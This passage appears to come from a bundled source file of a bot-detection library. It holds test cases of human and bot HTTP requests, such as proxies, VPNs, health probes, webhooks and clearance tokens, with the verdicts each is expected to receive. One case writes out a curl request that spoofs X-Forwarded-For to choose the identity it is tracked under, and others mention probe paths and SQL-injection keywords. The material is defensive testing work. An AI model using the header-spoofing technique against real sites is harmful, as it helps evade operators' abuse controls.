notes: "The revisits matter: a person's distinct-path ratio stays well below one, which is what separates reading from enumerating.",
|
|
2933
|
+
requests: humanPaced(browser("chromeWindows", { kind: "same-origin-navigate", cookie: "sid=a1b2c3; consent=1", referer: "https://shop.example/products" }), [
|
|
2934
|
+
"/",
|
|
2935
|
+
"/products",
|
|
2936
|
+
"/products/14",
|
|
2937
|
+
"/products",
|
|
2938
|
+
"/products/9",
|
|
2939
|
+
"/products/14",
|
|
2940
|
+
"/basket",
|
|
2941
|
+
"/products",
|
|
2942
|
+
"/products/9",
|
|
2943
|
+
"/checkout"
|
|
2944
|
+
]),
|
|
2945
|
+
expect: { verdict: "unknown", maxScore: 20, notDetectors: ["cadence", "crawl-breadth", "session-integrity"], action: "allow" }
|
|
2946
|
+
}),
|
|
2947
|
+
human({
|
|
2948
|
+
id: "tab-restore-burst",
|
|
2949
|
+
title: "Restoring twelve pinned tabs at once after a browser restart",
|
|
2950
|
+
category: "behaviour",
|
|
2951
|
+
provenance: "A browser reopening a session issues a dozen navigations within a second",
|
|
2952
|
+
notes: "A burst that looks exactly like a flood, from one person pressing one button. It is why rate is capped at moderate and cannot deny service.",
|
|
2953
|
+
requests: Array.from({ length: 12 }, (_, index) => ({
|
|
2954
|
+
...browser("chromeWindows", { cookie: "sid=restore-1" }),
|
|
2955
|
+
path: `/products/${index + 1}`,
|
|
2956
|
+
atMs: index * 40
|
|
2957
|
+
})),
|
|
2958
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2959
|
+
tags: ["known-cost"]
|
|
2960
|
+
}),
|
|
2961
|
+
human({
|
|
2962
|
+
id: "documentation-reader",
|
|
2963
|
+
title: "A developer clicking through a documentation sidebar",
|
|
2964
|
+
category: "behaviour",
|
|
2965
|
+
provenance: "High distinct-path count with almost no revisits \u2014 the same shape as a crawler",
|
|
2966
|
+
notes: "Genuinely indistinguishable from enumeration by path pattern alone, which is why crawl-breadth is only `weak`.",
|
|
2967
|
+
requests: humanPaced(browser("firefoxWindows", { kind: "same-origin-navigate", cookie: "sid=docs-9", referer: "https://shop.example/docs" }), [
|
|
2968
|
+
"/docs/intro",
|
|
2969
|
+
"/docs/install",
|
|
2970
|
+
"/docs/config",
|
|
2971
|
+
"/docs/api/client",
|
|
2972
|
+
"/docs/api/server",
|
|
2973
|
+
"/docs/api/types",
|
|
2974
|
+
"/docs/guides/auth",
|
|
2975
|
+
"/docs/guides/deploy",
|
|
2976
|
+
"/docs/faq",
|
|
2977
|
+
"/docs/changelog",
|
|
2978
|
+
"/docs/api/errors",
|
|
2979
|
+
"/docs/api/events"
|
|
2980
|
+
]),
|
|
2981
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
2982
|
+
tags: ["known-cost"]
|
|
2983
|
+
}),
|
|
2984
|
+
human({
|
|
2985
|
+
id: "form-submission",
|
|
2986
|
+
title: "Submitting a login form",
|
|
2987
|
+
category: "behaviour",
|
|
2988
|
+
provenance: "POST with Origin and Referer, Sec-Fetch-Site: same-origin, Sec-Fetch-Mode: navigate",
|
|
2989
|
+
requests: [
|
|
2990
|
+
{ ...browser("chromeWindows", { kind: "same-origin-navigate", cookie: "sid=login-1", referer: "https://shop.example/login" }), method: "POST", path: "/login" }
|
|
2991
|
+
],
|
|
2992
|
+
expect: { verdict: "unknown", maxScore: 0, action: ["allow", "delay"] }
|
|
2993
|
+
}),
|
|
2994
|
+
human({
|
|
2995
|
+
id: "conditional-revalidation",
|
|
2996
|
+
title: "A cache revalidation from a returning visitor",
|
|
2997
|
+
category: "behaviour",
|
|
2998
|
+
provenance: "Chrome adds If-None-Match and Cache-Control when revisiting a cached page",
|
|
2999
|
+
requests: [withCacheValidators(browser("chromeWindows", { kind: "navigate", cookie: "sid=return-4" }))],
|
|
3000
|
+
expect: { verdict: "unknown", maxScore: 0, action: "allow" }
|
|
3001
|
+
}),
|
|
3002
|
+
// ---------------------------------------------------------------------------
|
|
3003
|
+
// People behind infrastructure that mangles their requests. The site sees the
|
|
3004
|
+
// intermediary, not the person, and the person pays for it.
|
|
3005
|
+
// ---------------------------------------------------------------------------
|
|
3006
|
+
human({
|
|
3007
|
+
id: "corporate-proxy-stripped",
|
|
3008
|
+
title: "A person behind a corporate proxy that strips Sec-Fetch and Client Hints",
|
|
3009
|
+
category: "mangled-by-infrastructure",
|
|
3010
|
+
provenance: "Enterprise TLS-inspecting proxies routinely rebuild requests and drop headers they do not understand",
|
|
3011
|
+
notes: "Two of the strongest impersonation signals fire on a real employee. Neither may deny service; both are capped below `certain` for this reason.",
|
|
3012
|
+
requests: [
|
|
3013
|
+
{
|
|
3014
|
+
headers: [
|
|
3015
|
+
["Host", "shop.example"],
|
|
3016
|
+
["Connection", "keep-alive"],
|
|
3017
|
+
["User-Agent", userAgentOf("chromeWindows")],
|
|
3018
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
3019
|
+
["Accept-Encoding", "gzip, deflate"],
|
|
3020
|
+
["Accept-Language", "en-US,en;q=0.9"],
|
|
3021
|
+
["Via", "1.1 corporate-proxy.internal (squid/6.6)"],
|
|
3022
|
+
["X-Forwarded-For", "10.14.2.88"]
|
|
3023
|
+
],
|
|
3024
|
+
protocol: "https",
|
|
3025
|
+
httpVersion: "1.1"
|
|
3026
|
+
}
|
|
3027
|
+
],
|
|
3028
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
3029
|
+
tags: ["known-cost"]
|
|
3030
|
+
}),
|
|
3031
|
+
human({
|
|
3032
|
+
id: "carrier-transcoder",
|
|
3033
|
+
title: "A person on a mobile carrier that transcodes pages",
|
|
3034
|
+
category: "mangled-by-infrastructure",
|
|
3035
|
+
provenance: "Some carriers proxy and rewrite requests, adding their own headers and reordering the rest",
|
|
3036
|
+
requests: [
|
|
3037
|
+
{
|
|
3038
|
+
headers: [
|
|
3039
|
+
["Host", "shop.example"],
|
|
3040
|
+
["Accept-Encoding", "gzip"],
|
|
3041
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
3042
|
+
["User-Agent", userAgentOf("chromeAndroid")],
|
|
3043
|
+
["Accept-Language", "en-GB,en;q=0.9"],
|
|
3044
|
+
["Via", "1.1 wtp-proxy"],
|
|
3045
|
+
["X-Forwarded-For", "100.64.12.9"]
|
|
3046
|
+
],
|
|
3047
|
+
protocol: "https",
|
|
3048
|
+
httpVersion: "1.1"
|
|
3049
|
+
}
|
|
3050
|
+
],
|
|
3051
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
3052
|
+
notes: "Accept-Encoding arrives before Accept \u2014 the same ordering python-requests produces. A person, via a carrier.",
|
|
3053
|
+
tags: ["known-cost"]
|
|
3054
|
+
}),
|
|
3055
|
+
human({
|
|
3056
|
+
id: "http2-normalised",
|
|
3057
|
+
title: "A browser over HTTP/2, where header order carries no meaning",
|
|
3058
|
+
category: "mangled-by-infrastructure",
|
|
3059
|
+
provenance: "HTTP/2 uses HPACK and does not preserve a meaningful header order",
|
|
3060
|
+
notes: "The header-order detector must stand down entirely rather than read the normalised order as a fingerprint. Note also what is *absent*: HTTP/2 forbids connection-specific headers, so a genuine h2 request has no Connection. Leaving one in while claiming h2 \u2014 which an adapter does if it reads the version from a forwarded header rather than from its own socket \u2014 manufactures a proven protocol violation for a real browser.",
|
|
3061
|
+
requests: [
|
|
3062
|
+
{
|
|
3063
|
+
...browser("chromeWindows"),
|
|
3064
|
+
httpVersion: "2.0",
|
|
3065
|
+
headers: browser("chromeWindows").headers.filter(([name]) => name.toLowerCase() !== "connection")
|
|
3066
|
+
}
|
|
3067
|
+
],
|
|
3068
|
+
expect: { verdict: "unknown", maxScore: 0, notDetectors: ["header-order"], action: "allow" }
|
|
3069
|
+
}),
|
|
3070
|
+
human({
|
|
3071
|
+
id: "cgnat-shared-address",
|
|
3072
|
+
title: "Many people behind one carrier-grade NAT address",
|
|
3073
|
+
category: "mangled-by-infrastructure",
|
|
3074
|
+
provenance: "CGNAT presents thousands of subscribers as a single address; RFC 6598 reserves 100.64.0.0/10 for it",
|
|
3075
|
+
notes: "Different devices, different browsers, one address. Under an IP-based actor key this is one very busy 'actor' \u2014 which is why identity-rotation ships disabled by default.",
|
|
3076
|
+
requests: [
|
|
3077
|
+
{ ...browser("safariIos"), ip: "100.64.3.17", atMs: 0 },
|
|
3078
|
+
{ ...browser("chromeAndroid"), ip: "100.64.3.17", atMs: 220 },
|
|
3079
|
+
{ ...browser("samsungInternet"), ip: "100.64.3.17", atMs: 480 },
|
|
3080
|
+
{ ...browser("safariIos"), ip: "100.64.3.17", atMs: 700 },
|
|
3081
|
+
{ ...browser("chromeAndroid"), ip: "100.64.3.17", atMs: 910 },
|
|
3082
|
+
{ ...browser("chromeWindows"), ip: "100.64.3.17", atMs: 1150 }
|
|
3083
|
+
],
|
|
3084
|
+
expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
|
|
3085
|
+
tags: ["known-cost"]
|
|
3086
|
+
}),
|
|
3087
|
+
// ---------------------------------------------------------------------------
|
|
3088
|
+
// People doing the things a probe detector was built to notice.
|
|
3089
|
+
//
|
|
3090
|
+
// Every path-based signal has a population of real people who ask for the same
|
|
3091
|
+
// thing for an ordinary reason, and these are them. Both cases are tagged
|
|
3092
|
+
// `known-cost` because both do accumulate some suspicion — the point is the size of
|
|
3093
|
+
// it: enough to appear in a dashboard, nowhere near enough to interrupt anybody.
|
|
3094
|
+
// ---------------------------------------------------------------------------
|
|
3095
|
+
human({
|
|
3096
|
+
id: "wordpress-author-signing-in",
|
|
3097
|
+
title: "An author signing in to their own WordPress site",
|
|
3098
|
+
category: "platform-front-door",
|
|
3099
|
+
provenance: "/wp-login.php is a probe on the sites that do not run WordPress and the front door on the roughly forty per cent that do",
|
|
3100
|
+
notes: "`probe-signature` reports this at `moderate` and says so in its metadata, which is the honest reading: from a single request the library cannot know whether this site runs the platform. Configure the detector's `ignore` list, or the engine's `ignorePaths`, if it does \u2014 and note what the cap buys in the meantime, which is that forgetting costs a tag rather than a locked-out author.",
|
|
3101
|
+
requests: [{ ...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/" }), path: "/wp-login.php" }],
|
|
3102
|
+
expect: { verdict: "unknown", maxScore: 40, action: ["allow", "tag", "log"] },
|
|
3103
|
+
tags: ["known-cost"]
|
|
3104
|
+
}),
|
|
3105
|
+
human({
|
|
3106
|
+
id: "developer-searching-for-sql-syntax",
|
|
3107
|
+
title: "Someone searching a documentation site for SQL syntax",
|
|
3108
|
+
category: "platform-front-door",
|
|
3109
|
+
provenance: "A search box on a site whose subject is databases, with the phrase a payload detector looks for typed into it",
|
|
3110
|
+
notes: "The reason the payload tiers are split by punctuation. `union select` typed into a search box is a person reading about SQL; `' union select` with the quote that makes it execute is not. Without that split, the population penalised most is the one reading documentation about the attack.",
|
|
3111
|
+
requests: [{ ...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/docs" }), path: "/search?q=union+select+examples" }],
|
|
3112
|
+
// `rate-limit` is in the list because `protect-data` rate-limits search endpoints
|
|
3113
|
+
// for everybody, which is a policy decision about the path rather than a judgement
|
|
3114
|
+
// about this client. What the case asserts is the score.
|
|
3115
|
+
expect: { verdict: "unknown", maxScore: 40, action: ["allow", "tag", "log", "rate-limit"] },
|
|
3116
|
+
tags: ["known-cost"]
|
|
3117
|
+
}),
|
|
3118
|
+
human({
|
|
3119
|
+
id: "returning-reader-revalidating",
|
|
3120
|
+
title: "A returning reader whose browser still holds the page",
|
|
3121
|
+
category: "ordinary-browsing",
|
|
3122
|
+
provenance: "A revisit to a page the browser cached, sending the validators it was given",
|
|
3123
|
+
notes: "The evidence here points the other way. A client that revalidates a cached copy has been here before and kept what it was served, which is a property of a browsing session rather than of a fetch loop \u2014 `browsing-coherence` reports it as human-pointing, and the engine discounts any suspicion the behavioural detectors raise.",
|
|
3124
|
+
requests: [
|
|
3125
|
+
{ ...browser("chromeWindows", { kind: "navigate", cookie: "session=8f2c1b; consent=1" }), path: "/guides/shipping", atMs: 0 },
|
|
3126
|
+
{ ...browser("chromeWindows", { kind: "same-origin-navigate", cookie: "session=8f2c1b; consent=1", referer: "https://shop.example/guides/shipping", revalidate: { etag: 'W/"41d-19a0b2f3c11"' } }), path: "/guides/returns", atMs: 9400 }
|
|
3127
|
+
],
|
|
3128
|
+
expect: { verdict: ["unknown", "human"], maxScore: 20, detectors: ["browsing-coherence"], action: ["allow", "tag", "log"] }
|
|
3129
|
+
})
|
|
3130
|
+
];
|
|
3131
|
+
|
|
3132
|
+
// src/corpus/infrastructure.ts
|
|
3133
|
+
var INFRASTRUCTURE_CASES = [
|
|
3134
|
+
// ---------------------------------------------------------------------------
|
|
3135
|
+
// Probes. These belong in ignorePaths.
|
|
3136
|
+
// ---------------------------------------------------------------------------
|
|
3137
|
+
bot({
|
|
3138
|
+
id: "kubernetes-probe",
|
|
3139
|
+
title: "A Kubernetes liveness probe",
|
|
3140
|
+
audience: "infrastructure",
|
|
3141
|
+
category: "health-probe",
|
|
3142
|
+
provenance: "kubelet sends kube-probe/<version> with no Accept-Language and no cookies, on a perfect interval",
|
|
3143
|
+
notes: "Machine-regular by design, from a fixed address, forever. Put the path in `ignorePaths`: letting a bot policy decide whether your orchestrator believes the pod is healthy is a way to turn a false positive into a restart loop.",
|
|
3144
|
+
requests: Array.from({ length: 10 }, (_, index) => ({ ...plain("kube-probe/1.31"), path: "/healthz", atMs: index * 1e4, ip: "10.42.0.1" })),
|
|
3145
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3146
|
+
tags: ["allowlist-candidate"]
|
|
3147
|
+
}),
|
|
3148
|
+
bot({
|
|
3149
|
+
id: "elb-health-checker",
|
|
3150
|
+
title: "An AWS load balancer health check",
|
|
3151
|
+
audience: "infrastructure",
|
|
3152
|
+
category: "health-probe",
|
|
3153
|
+
provenance: "ELB-HealthChecker/2.0",
|
|
3154
|
+
requests: Array.from({ length: 8 }, (_, index) => ({ ...plain("ELB-HealthChecker/2.0"), path: "/healthz", atMs: index * 15e3, ip: "10.0.3.44" })),
|
|
3155
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3156
|
+
tags: ["allowlist-candidate"]
|
|
3157
|
+
}),
|
|
3158
|
+
bot({
|
|
3159
|
+
id: "prometheus-blackbox",
|
|
3160
|
+
title: "A Prometheus blackbox exporter probe",
|
|
3161
|
+
audience: "infrastructure",
|
|
3162
|
+
category: "health-probe",
|
|
3163
|
+
provenance: "Blackbox exporter identifies itself and runs on a scrape interval",
|
|
3164
|
+
requests: Array.from({ length: 6 }, (_, index) => ({ ...plain("Prometheus/2.54.1 blackbox_exporter/0.25.0"), path: "/metrics", atMs: index * 3e4, ip: "10.0.9.12" })),
|
|
3165
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3166
|
+
tags: ["allowlist-candidate"]
|
|
3167
|
+
}),
|
|
3168
|
+
// ---------------------------------------------------------------------------
|
|
3169
|
+
// Your own software.
|
|
3170
|
+
// ---------------------------------------------------------------------------
|
|
3171
|
+
bot({
|
|
3172
|
+
id: "first-party-mobile-app",
|
|
3173
|
+
title: "Your own iOS app calling your own API",
|
|
3174
|
+
audience: "infrastructure",
|
|
3175
|
+
category: "first-party-client",
|
|
3176
|
+
provenance: "A native app using URLSession identifies itself as the app, not as a browser",
|
|
3177
|
+
notes: "Automation by every measure the library has, and a paying customer holding a phone. Nothing in a request distinguishes the two \u2014 which is what `isHuman` is for: your application knows this session is authenticated, and the library does not.",
|
|
3178
|
+
requests: [
|
|
3179
|
+
{
|
|
3180
|
+
headers: [
|
|
3181
|
+
["Host", "api.shop.example"],
|
|
3182
|
+
["Accept", "application/json"],
|
|
3183
|
+
["Authorization", "Bearer redacted"],
|
|
3184
|
+
["User-Agent", "ShopApp/4.12.0 (com.example.shop; build:4120; iOS 18.5.0) Alamofire/5.9.1"],
|
|
3185
|
+
["Accept-Language", "en-GB;q=1.0"],
|
|
3186
|
+
["Accept-Encoding", "br;q=1.0, gzip;q=0.9, deflate;q=0.8"]
|
|
3187
|
+
],
|
|
3188
|
+
path: "/v1/basket",
|
|
3189
|
+
protocol: "https",
|
|
3190
|
+
httpVersion: "1.1"
|
|
3191
|
+
}
|
|
3192
|
+
],
|
|
3193
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3194
|
+
tags: ["allowlist-candidate"]
|
|
3195
|
+
}),
|
|
3196
|
+
bot({
|
|
3197
|
+
id: "server-side-render",
|
|
3198
|
+
title: "Your own renderer fetching your own API",
|
|
3199
|
+
audience: "infrastructure",
|
|
3200
|
+
category: "first-party-client",
|
|
3201
|
+
provenance: "A Next.js server component calling an internal endpoint with undici",
|
|
3202
|
+
requests: [
|
|
3203
|
+
{
|
|
3204
|
+
headers: [["Host", "api.shop.example"], ["Accept", "application/json"], ["User-Agent", "undici"], ["Accept-Encoding", "gzip, deflate"]],
|
|
3205
|
+
path: "/v1/products",
|
|
3206
|
+
protocol: "https",
|
|
3207
|
+
httpVersion: "1.1",
|
|
3208
|
+
ip: "10.0.5.20"
|
|
3209
|
+
}
|
|
3210
|
+
],
|
|
3211
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3212
|
+
tags: ["allowlist-candidate"]
|
|
3213
|
+
}),
|
|
3214
|
+
bot({
|
|
3215
|
+
id: "stripe-webhook",
|
|
3216
|
+
title: "A payment webhook arriving from Stripe",
|
|
3217
|
+
audience: "infrastructure",
|
|
3218
|
+
category: "webhook",
|
|
3219
|
+
provenance: "Stripe posts events with its own User-Agent and a signature header",
|
|
3220
|
+
notes: "Blocking this loses orders silently, and the retry backoff means you find out hours later. Webhook endpoints belong in `ignorePaths` \u2014 they authenticate themselves cryptographically and have no use for bot detection.",
|
|
3221
|
+
requests: [
|
|
3222
|
+
{
|
|
3223
|
+
headers: [
|
|
3224
|
+
["Host", "shop.example"],
|
|
3225
|
+
["Accept", "*/*; q=0.5, application/xml"],
|
|
3226
|
+
["Content-Type", "application/json; charset=utf-8"],
|
|
3227
|
+
["Stripe-Signature", "t=1756544400,v1=redacted"],
|
|
3228
|
+
["User-Agent", "Stripe/1.0 (+https://stripe.com/docs/webhooks)"]
|
|
3229
|
+
],
|
|
3230
|
+
method: "POST",
|
|
3231
|
+
path: "/webhooks/stripe",
|
|
3232
|
+
protocol: "https",
|
|
3233
|
+
httpVersion: "1.1"
|
|
3234
|
+
}
|
|
3235
|
+
],
|
|
3236
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3237
|
+
tags: ["allowlist-candidate"]
|
|
3238
|
+
}),
|
|
3239
|
+
bot({
|
|
3240
|
+
id: "github-webhook",
|
|
3241
|
+
title: "A GitHub webhook",
|
|
3242
|
+
audience: "infrastructure",
|
|
3243
|
+
category: "webhook",
|
|
3244
|
+
provenance: "GitHub-Hookshot/<sha>",
|
|
3245
|
+
requests: [
|
|
3246
|
+
{
|
|
3247
|
+
headers: [["Host", "shop.example"], ["User-Agent", "GitHub-Hookshot/f1a2b3c"], ["Content-Type", "application/json"], ["X-GitHub-Event", "push"], ["Accept", "*/*"]],
|
|
3248
|
+
method: "POST",
|
|
3249
|
+
path: "/webhooks/github",
|
|
3250
|
+
protocol: "https",
|
|
3251
|
+
httpVersion: "1.1"
|
|
3252
|
+
}
|
|
3253
|
+
],
|
|
3254
|
+
expect: { neverAction: ["block", "drop", "redirect"] },
|
|
3255
|
+
tags: ["allowlist-candidate"]
|
|
3256
|
+
}),
|
|
3257
|
+
// ---------------------------------------------------------------------------
|
|
3258
|
+
// Browser-initiated requests that no person asked for.
|
|
3259
|
+
// ---------------------------------------------------------------------------
|
|
3260
|
+
human({
|
|
3261
|
+
id: "speculation-rules-prefetch",
|
|
3262
|
+
title: "A browser prefetching a page the person has not clicked yet",
|
|
3263
|
+
category: "browser-initiated",
|
|
3264
|
+
provenance: "Speculation Rules mark prefetches with Sec-Purpose: prefetch",
|
|
3265
|
+
notes: "A real browser, a real person, and a request they never made \u2014 issued speculatively while they hover a link. It arrives with no Sec-Fetch-User, because no user gesture triggered it. Reading that absence as evidence would penalise the person for their browser being fast.",
|
|
3266
|
+
requests: [
|
|
3267
|
+
{
|
|
3268
|
+
...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/products" }),
|
|
3269
|
+
headers: [
|
|
3270
|
+
...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/products" }).headers.filter(([name]) => name !== "Sec-Fetch-User"),
|
|
3271
|
+
["Sec-Purpose", "prefetch"],
|
|
3272
|
+
["Purpose", "prefetch"]
|
|
3273
|
+
],
|
|
3274
|
+
path: "/products/88"
|
|
3275
|
+
}
|
|
3276
|
+
],
|
|
3277
|
+
expect: { certain: false, neverAction: ["block", "drop", "redirect"] }
|
|
3278
|
+
}),
|
|
3279
|
+
human({
|
|
3280
|
+
id: "service-worker-fetch",
|
|
3281
|
+
title: "A service worker refreshing cached content in the background",
|
|
3282
|
+
category: "browser-initiated",
|
|
3283
|
+
provenance: "Sec-Fetch-Dest: empty with Sec-Fetch-Mode: cors, issued with no tab in the foreground",
|
|
3284
|
+
requests: [{ ...browser("chromeWindows", { kind: "xhr" }), path: "/api/catalog.json" }],
|
|
3285
|
+
expect: { verdict: "unknown", maxScore: 20, neverAction: ["block", "drop", "redirect"] }
|
|
3286
|
+
}),
|
|
3287
|
+
// ---------------------------------------------------------------------------
|
|
3288
|
+
// People arriving from address space that looks automated.
|
|
3289
|
+
// ---------------------------------------------------------------------------
|
|
3290
|
+
human({
|
|
3291
|
+
id: "consumer-vpn-exit",
|
|
3292
|
+
title: "A person browsing through a consumer VPN",
|
|
3293
|
+
category: "datacenter-human",
|
|
3294
|
+
provenance: "VPN exit nodes live in hosting-provider address space, which is also where scrapers live",
|
|
3295
|
+
notes: "A perfect browser request from an address that any datacenter range list will flag. This is why `ip-intelligence` caps datacenter matches at `moderate`: the population using a VPN is overwhelmingly people, and disproportionately people with reasons.",
|
|
3296
|
+
requests: [{ ...browser("chromeMac"), ip: "192.0.2.150" }],
|
|
3297
|
+
expect: { certain: false, neverAction: ["block", "drop", "redirect"] },
|
|
3298
|
+
tags: ["known-cost"]
|
|
3299
|
+
}),
|
|
3300
|
+
human({
|
|
3301
|
+
id: "icloud-private-relay",
|
|
3302
|
+
title: "A person on iCloud Private Relay",
|
|
3303
|
+
category: "datacenter-human",
|
|
3304
|
+
provenance: "Private Relay egresses from Apple's partner networks; the address never belongs to the subscriber",
|
|
3305
|
+
requests: [{ ...browser("safariIos"), ip: "192.0.2.151" }],
|
|
3306
|
+
expect: { certain: false, neverAction: ["block", "drop", "redirect"] },
|
|
3307
|
+
tags: ["known-cost"]
|
|
3308
|
+
}),
|
|
3309
|
+
human({
|
|
3310
|
+
id: "corporate-egress-shared",
|
|
3311
|
+
title: "An office of two hundred people behind one address",
|
|
3312
|
+
category: "datacenter-human",
|
|
3313
|
+
provenance: "A single corporate egress address carrying an entire building's traffic",
|
|
3314
|
+
notes: "Rate counting sees one extraordinarily busy actor. It is two hundred ordinary ones.",
|
|
3315
|
+
requests: Array.from({ length: 45 }, (_, index) => ({
|
|
3316
|
+
...browser(index % 3 === 0 ? "chromeWindows" : index % 3 === 1 ? "edgeWindows" : "firefoxWindows"),
|
|
3317
|
+
path: `/products/${index % 12 + 1}`,
|
|
3318
|
+
ip: "192.0.2.200",
|
|
3319
|
+
atMs: index * 180
|
|
3320
|
+
})),
|
|
3321
|
+
expect: { certain: false, neverAction: ["block", "drop", "redirect"] },
|
|
3322
|
+
tags: ["known-cost"]
|
|
3323
|
+
}),
|
|
3324
|
+
// ---------------------------------------------------------------------------
|
|
3325
|
+
// Forwarding headers. The highest-consequence configuration in the library.
|
|
3326
|
+
// ---------------------------------------------------------------------------
|
|
3327
|
+
bot({
|
|
3328
|
+
id: "xff-spoof-attempt",
|
|
3329
|
+
title: "A client prepending a fake hop to X-Forwarded-For",
|
|
3330
|
+
audience: "hostile",
|
|
3331
|
+
category: "forwarding",
|
|
3332
|
+
provenance: "X-Forwarded-For is client-supplied; anyone can prepend an address and choose the identity they are tracked under",
|
|
3333
|
+
notes: "The corpus cannot assert the resolved address directly, so this case asserts the consequence: the client's chosen address must not let it escape its own classification. A curl request stays a curl request whatever it writes in the header.",
|
|
3334
|
+
requests: [
|
|
3335
|
+
{
|
|
3336
|
+
headers: [["Host", "shop.example"], ["User-Agent", "curl/8.11.1"], ["Accept", "*/*"], ["X-Forwarded-For", "66.249.66.1, 192.0.2.90"]],
|
|
3337
|
+
ip: "192.0.2.90",
|
|
3338
|
+
protocol: "https",
|
|
3339
|
+
httpVersion: "1.1"
|
|
3340
|
+
}
|
|
3341
|
+
],
|
|
3342
|
+
expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true },
|
|
3343
|
+
tags: ["security"]
|
|
3344
|
+
})
|
|
3345
|
+
];
|
|
3346
|
+
|
|
3347
|
+
// src/corpus/reputation.ts
|
|
3348
|
+
var REPUTATION_CASES = [
|
|
3349
|
+
bot({
|
|
3350
|
+
id: "denylist-hit",
|
|
3351
|
+
title: "An address the operator has denied",
|
|
3352
|
+
audience: "hostile",
|
|
3353
|
+
category: "address-reputation",
|
|
3354
|
+
provenance: "An explicit local decision, not an inference",
|
|
3355
|
+
notes: "`certain`, and the justification is about responsibility rather than technology: nothing was deduced, an instruction was carried out. It also means a bad denylist entry blocks real people with no probabilistic guard to catch it \u2014 which is the argument for reviewing the list rather than growing it.",
|
|
3356
|
+
requires: ["denylist"],
|
|
3357
|
+
requests: [{ ...browser("chromeWindows"), ip: "203.0.113.244" }],
|
|
3358
|
+
expect: { verdict: "confirmed-bot", certain: true, detectors: ["ip-intelligence"] }
|
|
3359
|
+
}),
|
|
3360
|
+
bot({
|
|
3361
|
+
id: "datacenter-scraper",
|
|
3362
|
+
title: "A scraper from hosting-provider address space",
|
|
3363
|
+
audience: "unwanted-bot",
|
|
3364
|
+
category: "address-reputation",
|
|
3365
|
+
provenance: "Where bulk extraction is actually run from",
|
|
3366
|
+
notes: "The corroborating case: a datacenter address alongside a bare library client is a different proposition from either alone.",
|
|
3367
|
+
requires: ["datacenter-ranges"],
|
|
3368
|
+
requests: [{ ...plain("python-requests/2.32.3"), ip: "192.0.2.180" }],
|
|
3369
|
+
expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true, detectors: ["ip-intelligence", "self-identified"] }
|
|
3370
|
+
}),
|
|
3371
|
+
human({
|
|
3372
|
+
id: "datacenter-human-with-ranges",
|
|
3373
|
+
title: "A person on a VPN, with datacenter ranges configured",
|
|
3374
|
+
category: "address-reputation",
|
|
3375
|
+
provenance: "The same address space, a completely different client",
|
|
3376
|
+
notes: "The whole reason the datacenter signal is capped at `moderate`. With ranges loaded this person now carries a bot-pointing observation on every request, and it must never be enough to deny them.",
|
|
3377
|
+
requires: ["datacenter-ranges"],
|
|
3378
|
+
requests: [{ ...browser("firefoxWindows"), ip: "192.0.2.190" }],
|
|
3379
|
+
expect: { certain: false, detectors: ["ip-intelligence"] },
|
|
3380
|
+
tags: ["known-cost"]
|
|
3381
|
+
}),
|
|
3382
|
+
human({
|
|
3383
|
+
id: "cleared-by-proof-of-work",
|
|
3384
|
+
title: "A person who already solved the challenge",
|
|
3385
|
+
category: "clearance",
|
|
3386
|
+
provenance: "A signed clearance cookie from a completed proof of work",
|
|
3387
|
+
notes: "Only `moderate` human evidence. Proof of work demonstrates a JavaScript engine and spent CPU; it does not demonstrate a person, and treating it as though it did would be the mirror image of the mistake this library exists to avoid.",
|
|
3388
|
+
clearance: "pow",
|
|
3389
|
+
requests: [browser("chromeWindows")],
|
|
3390
|
+
expect: { detectors: ["clearance"], neverAction: ["block", "drop", "redirect"] }
|
|
3391
|
+
}),
|
|
3392
|
+
human({
|
|
3393
|
+
id: "cleared-by-operator",
|
|
3394
|
+
title: "A signed-in customer your application vouches for",
|
|
3395
|
+
category: "clearance",
|
|
3396
|
+
provenance: "`grantClearance(facts, 'operator')` after a successful login",
|
|
3397
|
+
notes: "The only conclusive human signal in the library, and it does not come from the request. Your application knows this session is authenticated; the library cannot see that and does not try to guess it.",
|
|
3398
|
+
clearance: "operator",
|
|
3399
|
+
requests: [browser("chromeWindows")],
|
|
3400
|
+
expect: { verdict: "human", certain: true, detectors: ["clearance"], action: ["allow", "log", "tag"] }
|
|
3401
|
+
}),
|
|
3402
|
+
bot({
|
|
3403
|
+
id: "cleared-but-proven-bot",
|
|
3404
|
+
title: "A proven bot presenting a valid clearance token",
|
|
3405
|
+
audience: "unwanted-bot",
|
|
3406
|
+
category: "clearance",
|
|
3407
|
+
provenance: "A headless browser solves a proof of work as readily as a laptop does",
|
|
3408
|
+
notes: "Proven bot evidence outranks clearance, deliberately. This is also the shape that used to livelock: passing a challenge cannot undo a `certain` verdict, so a client that could run JavaScript was challenged, solved, reloaded and was challenged again forever. The action layer now refuses to re-issue a challenge to an actor that already holds one.",
|
|
3409
|
+
clearance: "pow",
|
|
3410
|
+
requests: [plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36")],
|
|
3411
|
+
// Asserted on the *outcome*, not the decision: a policy is free to decide
|
|
3412
|
+
// "challenge" here, and the action layer is required to refuse to issue it.
|
|
3413
|
+
expect: { verdict: "confirmed-bot", botClass: "automation", certain: true, outcome: "continue" },
|
|
3414
|
+
tags: ["regression"]
|
|
3415
|
+
})
|
|
3416
|
+
];
|
|
3417
